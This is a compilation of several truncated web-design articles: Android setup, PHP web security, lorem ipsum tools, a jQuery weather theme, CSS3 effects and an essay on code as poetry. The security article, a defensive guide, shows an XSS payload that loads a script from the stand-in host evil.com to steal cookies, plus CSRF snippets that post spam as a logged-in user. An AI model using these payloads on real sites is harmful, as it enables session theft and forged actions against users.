SDK VersionsThe Min SDK Version is the earliest version of Android on which your application will run. With each new release of Android, the SDK adds and changes methods. By choosing an SDK version, Android (and the Android Market) knows that your application will only run on devices with a version of Android later or equal than the specified version.
Running Your ApplicationNow let’s try running the application in Eclipse. As this is the first run, Eclipse will ask what type of project you are working on:
Choose Run->Run or press Ctrl+F11.Choose Android Application and click OK.Eclipse will now try to run the application on an Android device. At the moment, though, you don’t have any Android devices running, so the run will fail and you’ll be asked to create a new Android Virtual Device (AVD).

Android Virtual DevicesAn Android Virtual Device (AVD) is an emulator that simulates a real-world Android device, such as a mobile phone or Tablet PC. You can use AVDs to test how your application performs on a wide variety of Android devices, without having to buy every gadget on the market.
You can create as many AVDs as you like, each set up with different versions of the Android Platform. For each AVD you create, you can configure various hardware properties such as whether it has a physical keyboard, GPS support, the camera resolution, and so on.
Before you can run your application, you need to create your first AVD running the target SDK platform (Google APIs 1.6).
Let’s do that now:
If you haven’t tried to run your application yet, click Run now (or hit Ctrl+F11)When the target device warning pops up, click Yes to create a new AVD.Click New in the Android SDK and AVD Manager dialog that appears.Enter the following settings for the AVD:Name: Android_1.6
Target: Google APIs (Google Inc.) - API Level 4
SD Card Size: 16 MiB
Skin Built In: Default (HVGA)Click Create AVD to have Android build your new AVD.Close the Android SDK and AVD Manager dialog.
Running the CodeTry running your application again (Ctrl+F11). Eclipse will now build your project and launch the new AVD. Remember, the AVD emulates a complete Android system, so you’ll even need to sit through the slow boot process just like a real device. For this reason, once the AVD is up and running, it’s best not to close it down until you’ve finished developing for the day.
When the emulator has booted, Eclipse automatically installs and runs your application:
Large image
Building Your First Android ApplicationTesting generated code is all well and good, but you want to start building a real application. For this, we’ll step through a simple design process and build an application that you can deploy to your Android device.
Most developers (myself included) like a constant supply of good tea or coffee. In the next section of this article you’ll build a simple tea counter application to track how many cups of tea (brews) the user has drunk, and let them set a timer for brewing each cup.
You can download the complete code for this tutorial on GitHub.
Designing the User InterfaceOne of the first steps to building any Android application is to design and build the user interface. Here’s a quick sketch of how the application’s interface will look:
Large image
The user will be able to set a brew time in m[…]

  Web application developers today need to be skilled in a multitude of disciplines. It’s necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over. I speak, of course, about the User Agent. Most commonly seen in the form of a web browser, but in reality, one never really knows what’s on the other end of the HTTP connection.
There are many things to worry about when it comes to security on the Web. Is your site protected against denial of service attacks? Is your user data safe? Can your users be tricked into doing things they would not normally do? Is it possible for an attacker to pollute your database with fake data? Is it possible for an attacker to gain unauthorized access to restricted parts of your site? Unfortunately, unless we’re careful with the code we write, the answer to these questions can often be one we’d rather not hear.
We’ll skip over denial of service attacks in this article, but take a close look at the other issues. To be more conformant with standard terminology, we’ll talk about Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Phishing, Shell injection and SQL injection. We’ll also assume PHP as the language of development, but the problems apply regardless of language, and solutions will be similar in other languages.
[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #2 is Successful Freelancing for Web Designers, 260 pages for just $9,90.]
1. Cross-site scripting (XSS)Cross-site scripting is an attack in which a user is tricked into executing code from an attacker’s site (say evil.com) in the context of our website (let’s call it www.mybiz.com). This is a problem regardless of what our website does, but the severity of the problem changes depending on what our users can do on the site. Let’s look at an example.
Let’s say that our site allows the user to post cute little messages for the world (or maybe only their friends) to see. We’d have code that looks something like this:

<?php
echo "$user said $message";
?>
To read the message in from the user, we’d have code like this:

<?php
$user = $_COOKIE['user'];
$message = $_REQUEST['message'];
if($message) {
save_message($user, $message);
}
?>
<input type="text" name="message" value="<?php echo $message ?>">
This works only as long as the user sticks to messages in plain text, or perhaps a few safe HTML tags like <strong> or <em>. We’re essentially trusting the user to only enter safe text. An attacker, though, may enter something like this:

Hi there...<script src="h++p://evil.com/bad-script.js"></script>
(Note that I’ve changed http to h++p to prevent auto-linking of the URL).
When a user views this message on their own page, they load bad-script.js into their page, and that script could do anything it wanted, for example, it could steal the contents of document.cookie, and then use that to impersonate the user and possibly send spam from their account, or more subtly, change the contents of the HTML page to do nasty things, possibly installing malware onto the reader’s computer. Remember that bad-script.js now executes in the context of www.mybiz.com.
This happens because we’ve trusted the user more than we should. If, instead, we only allow the user to enter contents that are safe to display on the page, we prevent this form of attack. We accomplish this using PHP’s input_filter extension.
We can change our PHP code to the following:

<?php
$user = filter_input(INPUT_COOKIE, 'user',
FILTER_SANITIZE_SPECIAL_CHARS);
$message = filter_input(INPUT_POST | INPUT_GET, 'message',
FILTER_SANITIZE_SPECIAL_CHARS);
if($message) {
save_message($user, $message);
}
?>
<input type="text" name="message" value="<?php echo $message ?>">
Notice that we run the filter on the input and not just before output. We do this to protect against the situation where a new use case may arise in the future, or a new programmer comes in to the project, and forgets to sanitize data before printing it out. By filtering at the input layer, we ensure that we never store unsafe data. The side-effect of this is that if you have data that needs to be displayed in a non-web context (e.g. a mobile text message/pager message), then it may be unsuitably encoded. You may need further processing of the data before sending it to that context.
Now chances are that almost everything you get from the user is going to be written back to the browser at some point, so it may be best to just set the default filter to FILTER_SANITIZE_SPECIAL_CHARS by changing filter.default in your php.ini file.
PHP has many different input filters, and it’s important to use the one most relevant to your data. Very often an XSS creeps in because we use FILTER_SANITIZE_SPECIAL_CHARS when we should have used FILTER_SANITIZE_ENCODED or FILTER_SANITIZE_URL or vice-versa. You should also carefully review any code that uses something like html_entity_decode, because this could potentially open your code up for attack by undoing the encoding added by the input filter.
If a site is open to XSS attacks, then its users’ data is not safe.
2. Cross-site request forgery (CSRF)A CSRF (sometimes abbreviated as XSRF) is an attack where a malicious site tricks our visitors into carrying out an action on our site. This can happen if a user logs in to a site that they use a lot (e.g. e-mail, Facebook, etc.), and then visits a malicious site without first logging out. If the original site is susceptible to a CSRF attack, then the malicious site can do evil things on the user’s behalf. Let’s take the same example as above.
Since our application reads in input either from POST data or from the query string, an attacker could trick our user into posting a message by including code like this on their website:

<img src="h++p://www.mybiz.com/post_message?message=Cheap+medicine+at+h++p://evil.com/"
style="position:absolute;left:-999em;">
Now all the attacker needs to do, is get users of mybiz.com to visit their site. This is fairly easily accomplished by, for example, hosting a game, or pictures of cute baby animals. When the user visits the attacker’s site, their browser sends a GET request to www.mybiz.com/post_message. Since the user is still logged in to www.mybiz.com, the browser sends along the user’s cookies, thereby posting an advertisement for cheap medicine to all the user’s friends.
Simply changing our code to only accept submissions via POST doesn’t fix the problem. The attacker can change the code to something like this:

<iframe name="pharma" style="display:none;"></iframe>
<form id="pform"
action="h++p://www.mybiz.com/post_message"
method="POST"
target="pharma">
<input type="hidden" name="message" value="Cheap medicine at ...">
</form>
<script>document.getElementById('pform').submit();</script>
Which will POST the form back to www.mybiz.com.
The correct way to to protect against a CSRF is to use a single use token tied to the user. This token can only be issued to a signed in user, and is based on the user’s account, a secret salt and possibly a timestamp. When the user submits the form, this token needs to be validated. This ensures that the request originated from a page that we control. This token only needs to be issued when a form submission can do something on behalf of the user, so there’s no need to use it for publicly accessible read-only data. The token is sometimes referred to as a nonce.
There are several different ways to generate a nonce. For example, have a look at the wp_create_nonce, wp_verify_nonce and wp_salt functions in the WordPress source code. A simple nonce may be generated like this:

<?php
function get_nonce() {
return md5($salt . ":" . $user . ":" . ceil(time()/86400));
}
?>
The timestamp we use is the current time to an accuracy of 1 day (86400 seconds), so it’s valid as long as the action is executed within a day of requesting the page. We could reduce that value for more sensitive actions (like password changes or account deletion). It doesn’t make sense to have this value larger than the session timeout time.
An alternate method might be to generate the nonce without the timestamp, but store it as a session variable or in a server side database along with the time when the nonce was generated. That makes it harder for an attacker to generate the nonce by guessing the time when it was generated.

<?php
function get_nonce() {
$nonce = md5($salt . ":" . $user);
$_SESSION['nonce'] = $nonce;
$_SESSION['nonce_time'] = time();
return $nonce;
}
?>
We use this nonce in the input form, and when the form is submitted, we regenerate the nonce or read it out of the session variable and compare it with the submitted value. If the two match, then we allow the action to go through. If the nonce has timed out since it was generated, then we reject the request.

<?php
if(!verify_nonce($_POST['nonce'])) {
header("HTTP/1.1 403 Forbidden", true, 403);
exit();
}
// proceed normally
?>
This protects us from the CSRF attack since the attacker’s website cannot generate our nonce.
If you don’t use a nonce, your user can be tricked into doing things they would not normally do. Note that even if you do use a nonce, you may still be susceptible to a click-jacking attack.
3. Click-jackingWhile not on the OWASP top ten list for 2010, click-jacking has gained recent fame due to attacks against Twitter and Facebook, both of which spread very quickly due to the social nature of these platforms.
Now since we use a nonce, we’re protected against CSRF attacks, however, if the user is tricked into clicking the submit link themselves, then the nonce won’t protect us. In this kind of attack, the at[…]

Lorem ipsum dolor sit amet… most designers probably have these few words embedded in their heads from seeing them over and over. This is dummy text, otherwise known as Lorem Ipsum. I’m not going to give you a history lesson, but it is helpful to know that it is in Latin — because most people just think that it’s gibberish. When you do a Google Search on ‘Lorem Ipsum’, the first hit is Lipsum.Com. Now, don’t get me wrong, Lipsum is a great resource for getting chunks of the text and learning more, but there are other websites out there that can do an even better job as well. So, here they are — alternatives to Lipsum.Com.

1. LoremIpsum.Net

LoremIpsum.Net is a small and simple static site that provides you with a decent sized passage without having to use a generator. The site also provides an all caps version of the text, as well as translations, and an explanation of what this famous passage means.

What Sets it Apart: Very Simple. No Generator Needed.

2. Lorem-Ipsum.Info

The main site of lorem-ipsum.info contains general info as well as translations. They also have a generator that looks pretty nice. It lets you choose Lorem Ipsum in a different language and the amount of words/paragraphs that you want to generate.

What Sets it Apart: Generates text in different languages.

3. Malevole Text Generator

This is a text generator that makes real paragraphs, not lorem ipsum! I don’t know what it does make, but it is readable English and provides pretty balanced text (graphically). You have the option to create 1 to 5 paragraphs.

What Sets it Apart: Creates dummy text that is in English.

4. Lorem Ipsum Generator

This Lorem Ipsum Generator creates HTML markup, as well as giving you dummy Text. Because of this it will help you perfect your web typography with added b, i and p tags.

What Sets it Apart: Adds various different tags

5. jHTML-Ipsum

This is a jQuery plugin that will create HTML elements using Lorem Ipsum. It dynamically creates the text, so you don’t have to end up removing all of the Lorem Ipsum later. Helps figure out how you will style your web type and CSS.

What Sets it Apart: ‘Make your own’ solution

6. WP Dummy Content

This is a WordPress plugin that generates dummy posts when developing and testing your WordPress theme! It also makes fake titles, and multiple length paragraphs. In one click you have an entire set of dummy content.

What Sets it Apart: You can remove all of the dummy data in one click.

7. Lorem Ipsum Generator – Chrome Extension

This is a Lorem Ipsum Generator for Chrome! It’s quite simple and minimalist in design. You can choose the amount of words and paragraphs you want to generate.

What Sets it Apart: Convenient and easy to use.

8. Greeking Machine

This ‘Greeking Machine’ generates dummy text in many different forms. Like the others, you can choose how much text you want to generate. There are also many languages or forms to choose from, so you aren’t just stuck with boring ‘Lorem Ipsum’.

What Sets it Apart: Cool Languages like, “The Matrix, and Hillbilly”

9. Lorem Ipsum 2.0

This generator is pretty cool! It’s ‘Community generated greeking’, which means that it takes text from community powered sites and presents it to you as dummy text for you to use. It gives you pretty random results, but at least it isn’t Lorem Ipsum!

What Sets it Apart: Fun to use and play around with.

10. Blind Text Generator

This Blind Text Generator creates dummy text in many different forms! You can choose Lorem Ipsum, Panagrams, The alphabet or other English passages. It’s quite easy to use and gives you a bunch of options!

What Sets it Apart: Great if you’re tried of using Lorem Ipsum for your dummy text.

11. Lorem Ipsum Generator

This is yet another Lorem Ipsum Generator. It gives you the option to get the text as a plain text file or HTML file, and to pick how long you want your passage.

What Sets it Apart: Many different options.

12. Sample WordPress Content

This is a .xml file which you can import into your WordPress blog! It creates dummy posts, comments, categories, tags, and pages as well as adds common styling elements such as blockquotes and lists.

What Sets it Apart: Saves lots of time!

13. HTML-Ipsum

HTML-Ipsum provides code snippets rather than just plain text. Of course it features Lorem Ipsum, but it really is a great resource when designing webpages. They even have a kitchen sink, which is the body of a webpage template with necessary code structure and dummy text!

What Sets it Apart: Very useful. One click copy to clipboard.

14. Lorem Ipsum Generator

This Lorem Ipsum Generator lets you pick out how many characters, words and sentences you want. It explains lorem ipsum and shows you translated passages.

What Sets it Apart: Lets you start with something other than ‘Lorem ipsum dolor…’

15. Dynamic Dummy Image Generator

The Dynamic Dummy Image Generator is basically what the title says – a dummy image maker! It’s quite useful when creating web layouts, even for creating dummy advertisements and such. This LifeHacker post explains it all quite well!

What Sets it Apart: One of a kind and very useful!

16. Lorem Ipsum Paragraph

This is a code snippet at CSS-Tricks. It’s a paragraph of Lorem Ipsum text. Simple. Just copy the paragraph and you’re on your way! No fuss included.

What Sets it Apart: Not a Generator!

17. Lorem Ipsum Post Generator

This is a Lorem Ipsum plugin for Wordpress! This plugin can be a lifesaver when designing wordpress themes. It creates dummy posts and comments that help test your styling elements.

What Sets it Apart: Conveniently accessible!

18. The Dummy Content File

This is another .xml file that you can import into WordPress! It creates a lot of useful things like posts, pages, tags, categories and non-admin comments!

What Sets it Apart: Includes Typographic Elements in it

Do you use any of these resources? Or what about one that wasn’t listed? Let us know below!

By pulling in feed from the Yahoo API with jQuery, you can style your website according to the Weather! Find out how by following this step by step guide. We’ll start by creating four backgrounds for sun, rain, snow and cloudy, then use a clever jQuery script to pull in the forecast. To finish things off, we’ll even create a cool manual override, allowing users to switch through the various themes themselves.

I recently put this idea into practice on a site I hashed together for my dog Jake. Jakethelab.com is a Tumblr blog where I post random photos and videos from my iPhone. The theme of the site changes depending on the weather, with Jake being the happiest when it’s sunny and cloudy, and not so much when it’s rainy or snowy. I wasn’t brainy enough to code all the Javascript myself, so some scripts from other talented developers were used alongside a few lines of my own basic jQuery. A few people has asked how it was all done, so here’s a brief overview.

Create the themes

The four themes of the site were put together as large background images. The same layout is used for each, but the overall theme changes to show the four weather conditions of sunny, rainy, snowy and cloudy.

Fetch the weather feed

$(document).ready(function() {

$.YQL = function(query, callback) {
var encodedQuery = encodeURIComponent(query.toLowerCase()),
url = 'http://query.yahooapis.com/v1/public/yql?q='
+ encodedQuery + '&format=json&callback=?';
$.getJSON(url, callback);
};
$.YQL("select * from rss where url='http://weather.yahooapis.com/forecastrss?p=UKXX0133'",function(data){
var w=data.query.results.item;
var class=w.condition.text;
var encodedclass = class.replace(/\s+/g, '-').toLowerCase();

$('body').addClass(encodedclass);

});
});

The script that does all the work by fetching the feed from Yahoo is courtesy of Justin Shearer from Graphically Herding the Masses. Justin’s post takes the API to a more advanced level and creates a complete weather widget. For our site we only need part of the code, and the rest is modified to suit.

With our weather being used as a class on the page body, the condition needed encoding to lower case and the spaces removed. This changed the text from this: Partly Cloudy to this: partly-cloudy. Next, the encodedclass variable was then added as a class to the page body, so the HTML would read <body class="partly-cloudy">, which could then be styled up with CSS.

http://weather.yahooapis.com/forecastrss?p=USNY0996

If you’re using this code on your own site, you’ll want to change the location of the weather feed. The easiest way to find your location code is to head over to Yahoo weather and check the URL of the RSS feed for your particular location.

Write the CSS styles

body.cloudy, body.partly-cloudy, body.mostly-cloudy {
background: #b3c6e4 url(Cloudy.jpg) fixed center bottom no-repeat;
}
body.rain, body.thunderstorms, body.drizzle, body.showers, body.thundershowers, body.scattered-showers, body.scattered-thunderstorms, body.isolated-thunderstorms {
background: #9eacaf url(Rainy.jpg) fixed center bottom no-repeat;
}
body.sunny, body.fair, body.hot {
background: #8cdafe url(Sunny.jpg) fixed center bottom no-repeat;
}
body.snow, body.mixed-rain-and-snow, body.mixed-rain-and-sleet, body.snow-flurries, body.light-snow-showers, body.blowing-snow, body.hail, body.sleet, body.snow-showers, body.heavy-snow {
background: #889986 url(Snowy.jpg) fixed center bottom no-repeat;
}

With the current weather being injected right into our HTML, we can now write some CSS to make the appropriate changes to the website. Here’s where the list of Condition Codes from Yahoo Weather comes in handy because a bunch of classes are used to render each of the four backgrounds. For instance, a class of sunny, fair or hot will show the sunny background image. We don’t tend to get very many tropical storms in the UK, so just the most common conditions are picked out.

Add a manual override

Unless a user comes back to your website during every weather condition, they may never see your other themes so I figured it would be cool to add a manual override to allow users to toggle through the weather themselves.

<ul id="weather">
<li class="cloudy"><a href="#">Cloudy</a></li>
<li class="sunny"><a href="#">Sunny</a></li>
<li class="rainy"><a href="#">Rainy</a></li>
<li class="snowy"><a href="#">Snowy</a></li>
</ul>

A simple list is laid out in HTML. Each list item contains an anchor which we’ll style up into button style graphics.

ul#weather {
position: absolute; top: 40px; left: 40px;
list-style: none; display: none;
}
ul#weather li {
margin: 0 0 12px 0;
}
ul#weather li a {
display: block; width: 60px;
background: url(weather-icons.png) no-repeat; text-indent: -9999px;
}
ul#weather li.cloudy a {
height: 32px; background-position: 0 0;
}
ul#weather li.sunny a {
height: 63px; background-position: 0 -43px;
}
ul#weather li.rainy a {
height: 50px; background-position: 0 -115px;
}
ul#weather li.snowy a {
height: 48px; background-position: 0 -177px;
}

The buttons are firstly moved into place using absolute positioning. This places them in a fixed position at the top left of the screen. Each anchor is then transformed into a button using CSS image replacement, with each button displaying a simple weather condition icon. Because this feature will only work if the user has Javascript enabled display:none; is used, the buttons will be made visible again by jQuery for those users with JS enabled.

$('ul#weather').show();

$('li.cloudy').click(function() {
$('body').removeClass();
$('body').addClass('cloudy');
return false;
});
$('li.sunny').click(function() {
$('body').removeClass();
$('body').addClass('sunny');
return false;
});
$('li.rainy').click(function() {
$('body').removeClass();
$('body').addClass('rain');
return false;
});
$('li.snowy').click(function() {
$('body').removeClass();
$('body').addClass('snow');
return false;
});

A simple jQuery function is then written for each of the four buttons. When the button is clicked, the current class is removed from the page body and replaced according to whichever button was clicked. return false; disables the default action of the anchor to prevent the page from jumping back to the top.

var name = "#weather";
var menuYloc = null;
menuYloc = parseInt($(name).css("top").substring(0,$(name).css("top").indexOf("px")))

$(window).scroll(function () {
var offset = menuYloc+$(document).scrollTop()+"px";
$(name).animate({top:offset},{duration:500,queue:false});
});

To finish off the buttons, a nifty piece of code from Nettuts is used to transform the buttons into a floating menu, which slides up and down the page when the user scrolls.

See it in action on jakethelab.com

  As a web community, we’ve made a lot of exciting progress in regards to CSS3. We’ve put properties like text-shadow & border-radius to good use while stepping into background-clip and visual effects like transitions and animations. We’ve also spent a great deal of time debating how and when to implement these properties. Just because a property isn’t widely supported by browsers or fully documented at the moment, it doesn’t mean that we shouldn’t be working with it. In fact, I’d argue the opposite.
Best practices for CSS3 usage need to be hashed out in blog posts, during spare time, and outside of client projects. Coming up with creative and sensible ways to get the most out of CSS3 will require the kind of experimentation wherein developers gladly trade ten failures for a single success. Right now, there are tons of property combinations and uses out there waiting to be discovered. All we have to do is connect the dots. It’s time to get your hands dirty and innovate!

[Offtopic: by the way, did you know that Smashing Magazine has one of the most influential and popular Twitter accounts? Join our discussions and get updates about useful tools and resources — follow us on Twitter!]
Where do I start?One of my favorite things to do is to scan a list of CSS properties and consider which ones might work well together. What would be possible if I was to connect @font-face to text-shadow and the bg-clip:text property? How could I string a webkit-transition and opacity together in a creative way? Here are a few results from experiments I’ve done recently. While some may be more practical than others, the goal here is to spark creativity and encourage you to connect a few dots of your own.
Note: While Opera and Firefox may soon implement specs for many of the CSS3 properties found here, some of these experiments will currently only work in Webkit-browsers like Google Chrome or Safari.
Example #1: CSS3 TransitionsA safe place to start with CSS3 visual effects is transitioning a basic CSS property like color, background-color, or border on hover. To kick things off, let’s take a link color CSS property and connect it to a .4 second transition.

Start with your link CSS, including the hover state:
a { color: #e83119; }
a:hover { color:#0a99ae; }Now, bring in the CSS3 to set and define which property you’re transitioning, duration of transition and how that transition will proceed over time. In this case we’re setting the color property to fade over .4 seconds with an ease-out timing effect, where the pace of the transition starts off quickly and slows as time runs out. To learn more about timing, check out the Surfin’ Safari Blog post on CSS animations. I prefer ease-out most of the time simply because it yields a more immediate transition, giving users a more immediate cue that something is changing.
a {
-webkit-transition-property: color;
-webkit-transition-duration:.4s;
-webkit-transition-timing:ease-out;
}You can also combine these into a single CSS property by declaring the property, duration, and timing function in that order:
a { -webkit-transition: color .4s ease-out; }View the live example here
The final product should be a red text link that subtly transitions to blue when users hover with their mouse pointer. This basic transitioning technique can be connected to an infinite amount of properties. Next, let’s let’s create a menu bar hover effect where border-thickness is combined with a .3 second transition.

To start, we’ll set a series of navigation links with a 3 pixel bottom border, and a 50 pixel border on hover:
border-nav a { border-bottom: 3px solid #e83119 }
border-nav a:hover { border-bottom: 50px solid #e83119 }To bring the transition into the mix, let’s set a transition to gradually extend the border thickness over .3 seconds in a single line of CSS:
border-nav a { -webkit-transition: border .3s ease-out; }View the live example here
ExamplesThis is just one example of how to use these transitions to enhance links and navigation items. Here are a few other sites with similar creative techniques:
Team Excellence The webkit transition on all navigation items, including the main navigation set at .2s provides a nice effect without making visitors wait too long for the hover state.

Ackernaut Ackernaut has subtle transitions on all link hovers, and extends the property to fade the site header in/out.

SimpleBits The SimpleBits main navigation transitions over .2 seconds with linear timing.

DesignSwap On DesignSwap, all text links have a .2 second transitions on hover and the swapper profiles fade out to real details about the latest designs.

Jack Osborne Jack Osborne transitions all of the blue links as well as the post title link on his home page.

Eric E. Anderson Eric E. Andersion has taken CSS3 implementation even further by implementing a transition on his main navigation for background color and color alongside border-radius and box-shadow.

Example #2: Background ClipWhen connected to properties like text-shadow and @font-face, the background-clip property makes all things possible with type. To keep things simple, we’ll start with taking a crosshatch image and masking it over some text. The code here is pretty simple. Start by wrapping some HTML in a div class called bg-clip:
<div class="bg-clip">
<h3>kablamo!</h3>
</div>
Now to the CSS. First, set the image you will be masking the text with as the background-image. Then, set the -webkit-text-fill-color to transparent and define the -webkit-background-clip property for the text.
.bg-clip {
background: url(../img/clipped_image.png) repeat;
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
}View the live example here
This opens the door for you to start adding texture or other graphic touches to your type without resorting to using actual image files. For even more CSS3 text experimentation, we can add the transform property to rotate the text (or any element for that matter) to any number of degrees. All it takes is a single line of CSS code:
-webkit-transform: rotate(-5deg);
-moz-transform: rotate(-5deg);
-o-transform: rotate (-5deg);
Note: While background-clip isn’t available in Firefox or Opera, the transform property is, so we’ll set this for each browser.
View the live example here
ExamplesThis is a fairly simple implementation, but there are quite a few really interesting and innovative examples of this technique:
Trent Walton An experiment of my own, combining bg-clip and @font-face to recreate a recent design.

Neography An excellent example of what is possible when you throw rotate, bg-clip and @font-face properties together.

Everyday Works One of the earliest innovative implementations of CSS text rotation I’ve seen.

Panic Blog The Panic blog randomly rotates divs / posts. Be sure to refresh to see subtle changes in the degree of rotation.

Sam Brown Sam’s got a really nice text-rotate hover effect on the “stalk” sidebar links.

Example #3: CSS Transforms, Box Shadow and RGBaWhat used to take multiple divs, pngs and extra markup can now be accomplished with a few lines of CSS code. In this example we’ll be combining the transform property from example 2 with box-shadow and RGBa color. To start things off, we’ll create 4 image files, each showing a different version of the Smashing Magazine home page over time with a class for the shadow and a specific class to achieve a variety of rotations.

Here’s the HTML:
<div class="boxes">
<img class="smash1 shadowed" src="../img/smash1.jpg" alt="2007"/>
<img class="smash2 shadowed" src="../img/smash2.jpg" alt="2008"/>
<img class="smash3 shadowed" src="../img/smash3.jpg" alt="2009"/>
<img class="smash4 shadowed" src="../img/smash4.jpg" alt="2010"/>
</div>Let’s set up the CSS for the RGBA Shadow:
.shadowed {
border: 3px solid #fff;
-o-box-shadow: 0 3px 4px rgba(0,0,0,.5);
-moz-box-shadow: 0 3px 4px rgba(0,0,0,.5);
-webkit-box-shadow: 0 3px 4px rgba(0,0,0,.5);
box-shadow: 0 3px 4px rgba(0,0,0,.5);
}Before moving forward, let’s be sure we understand each property here. The box-shadow property works just like any drop shadow. The first two numbers define the shadow’s offset for the X and Y coordinates. Here we’ve set the shadow to 0 for the X, and 3 for the Y. The final number is the shadow blur size, in this case it’s 4px.
RGBa is defined in a similar manner. RGBa stands for red, green, blue, alpha. Here we’ve taken the RGB value for black as 0,0,0 and set it with a 50% alpha level at .5 in the CSS.
Now, let’s finish off the effect by adding a little CSS Transform magic to rotate each screenshot:
.smash1 { margin-bottom: -125px;
-o-transform: rotate(2.5deg);
-moz-transform: rotate(2.5deg);
-webkit-transform: rotate(2.5deg);
}.smash2 {
-o-transform: rotate(-7deg);
-moz-transform: rotate(-7deg);
-webkit-transform: rotate(-7deg);
}.smash3 {
-o-transform: rotate(2.5deg);
-moz-transform: rotate(2.5deg);
-webkit-transform: rotate(2.5deg);
}.smash4 {
margin-top: -40px;
-o-transform: rotate(-2.5deg);
-moz-transform: rotate(-2.5deg);
-webkit-transform: rotate(-2.5deg);
}View the live example here
ExamplesHere are a few additional sites with these properties implemented right now:
Butter Label This site is jam packed with well-used CSS3. Notice the transform and box-shadow properties on the subscribe form.

Hope 140 Another site with plenty of CSS3 enhancements, Hope 140’s End Malaria campaign site features a collage of photographs that all have the same shadow & transform properties outlined in our example.

For A Beautiful Web For A Beautiful Web utilizes RGBa and box-shadow for the overlay video clips boxes linked from their 3 master-class DVDs. While you’re there, be sure to note the transforms paired with the DVD packaging links.

Simon Collison Simon Collison has implemented RGBa and box-shadow on each of the thumbnail links for his new website.

Example #4: CSS3 AnimationsIf y[…]

  There is little doubt that WordPress is one of the most popular blogging and content management platforms out there today. This is not an article about WordPress, though, but rather a more general musing on one of its thought-provoking taglines: “Code Is Poetry.”
That’s an interesting metaphor. Recently, I’ve written about the different languages used by designers and developers, and also about the relationship between these coding languages and proper human language (specifically, English). As someone who graduated from university with a degree in English Literature and came to Web design in a roundabout way, this kind of thinking has always interested me.
As has this apparent connection between code and poetry. What does the metaphor mean? I took some time to really think about this relationship and discovered that the people at WordPress got it right (again). Code really is similar to poetry!
[By the way: The network tab (on the top of the page) is updated several times a day. It features selected articles from the best web design blogs!]A Superficial SimilarityTo start off, code and poetry have a somewhat obvious and entirely superficial similarity, and we may as well begin there. Here is a poem I wrote a few years ago:
A man in a suit, standing on an old stone bridge, sees the reflection of himself in the water flowing, unhindered, below.
I promise this will be the only work of mine that I include here, but let’s compare it to some snippets of simple code, starting with HTML:

<body>
<div id=”content”>
<h1>The Title</h1>
<p>Some content</p>
</div>
</body>
Now look at some CSS:

div {
border: 1em 0px;
background-color: #444
border: 1px solid #222;
}
And finally some JavaScript:

function cubeMe(x){
var answer = x*x*x;
alert(answer);
}
I want to highlight two key elements: the short lengths and the prominent indentation. These are both common elements of poetry and code (though not absolutely necessary to either).
This comparison is superficial at best, and there is a much stronger connection to explore. Still, this basic similarity reveals a certain visual relationship between code and poetry, which gives us an interesting entry point to discuses the subject.
A Master’s ArtThis code-is-poetry metaphor comes at least partly from a perception of poetry as the master’s craft. Whether you love or hate it (and I know a lot of people hate it), there has always been a general sense that poetry sits at the apex of the written word, as though poets sit in an ivory tower, composing lines with a golden pen.

Of course, the reality is strikingly different. A lot of really bad poetry is out there, written by people who call themselves poets just because they can rhyme words at the end of two lines.
Does that sound familiar?
How similar is this to the proverbial “nephew”? You know the one: that kid who read the introduction to a high-school textbook about the Web, figured out a few HTML tags and is now driving you crazy with his offer of a “Web design” for $100 and a six-pack of beer. Makes you want to tear your hair out, doesn’t he?
Anyone who has been at this Web design thing for a while (or at least anyone who takes themselves seriously) would agree that there’s more to the job than hacking out content wrapped in a bunch of poorly structured and entirely non-semantic HTML. For those of us who strive to be masters of our craft, code is so much more.
Code has purpose and meaning. It requires structure. It should be lightweight and elegant, not bogged down with lines and lines of garbage. Writing great code isn’t something that just happens. It takes discipline and work! It’s an art unto itself.
Feeling impassioned yet? If so, you might have the heart of a poet. I’ll tell you why.
Of Pen And PurposeEvery good poem has a purpose. The purpose need not be so lofty as to change the world or to establish a new school of thinking, but every good poem needs a purpose. Of course, nothing is surprising about this. Many mediocre and poor poems are written with a purpose. The difference is in execution.
If a poem is written for a particular purpose, then the composition should reflect that purpose. The structure, word choice, subject and tone should all work together to support the primary purpose. For example, the purpose of Coleridge’s “Kubla Khan” is to capture the imagery of one of the poet’s (opium-induced) dreams. It famously opens:
In Xanadu did Kubla Khan A stately pleasure-dome decree: Where Alph, the sacred river, ran Through caverns measureless to man Down to a sunless sea.
The poem continues on in much the same tone, fully of lyrical and Romantic language by which Coleridge captures the essence of his dream. His word choice and form help the poem achieve its purpose.

A limerick is a different kind of poem altogether, one generally intended to be witty or humorous (and sometimes just plain crude). Here is one of the limericks I remember best:
There was an old man from the Cape, Who made himself garments of crepe. When asked if they tear he replied, “Here and there, But they keep such a beautiful shape!”
All limericks follow this structure and share this cadence, which contribute to the overall effect. The rhythm makes the text sound silly and light-hearted, whatever the actual words. While the poem is vastly different from Coleridge’s Romantic vision, it too demonstrates a keen understanding of its purpose.
Our code should be much the same. Different kinds of code serve different purposes and should be used accordingly. In Web design, the most cliched example is using tables for layout purposes. The HTML table tags were intended to present information in tabular format, not to structure an entire document. Using it in the latter way is a misappropriation of its purpose.
Any experienced coder would attest that tabular layouts are far more inflexible than CSS. They really limit you to the confines of the table itself. Styles, however, give you a great deal more flexibility and allow you to do a lot more. We may harp on about it a lot, to the point of being annoying, but it’s a perfect example of how failing to understand purpose can render code less effective!
CSS also provides a great example of the difference between inline, embedded and external styles. Each has a different purpose, and using it the wrong way can really weigh down your code. The external style sheet is used to implement universal styles that can be applied to an entire website (or, in some cases, multiple websites). The embedded style sheet, which is less frequently used, overwrites external styles. This is great for custom artistic posts. Inline styles can be used to overwrite the styling of a single element.
It’s all pretty straightforward for a seasoned Web designer. For the uninitiated, though, mixing up these purposes is all too easy, and it potentially results in bloated code, full of unnecessary inline styling and redundant elements, all from a lack of understanding CSS’ rules of precedence.
So, whether you code HTML or CSS, if you believe in the importance of understanding your purpose, then you certainly have something in common with the great poets.
MeaningAnother important aspect of poetry is meaning. Like any text, a poem means something on the surface: it literally means what it says, even if what it says is sometimes difficult to understand (especially with some archaic works). However, a good poem always has a secondary meaning, hidden beneath the surface.
The incomparable Robert Frost demonstrates this, in a stanza from his popular “Stopping by Woods on a Snowy Evening:”
The woods are lovely, dark, and deep, But I have promises to keep. And miles to go before I sleep, And miles to go before I sleep.
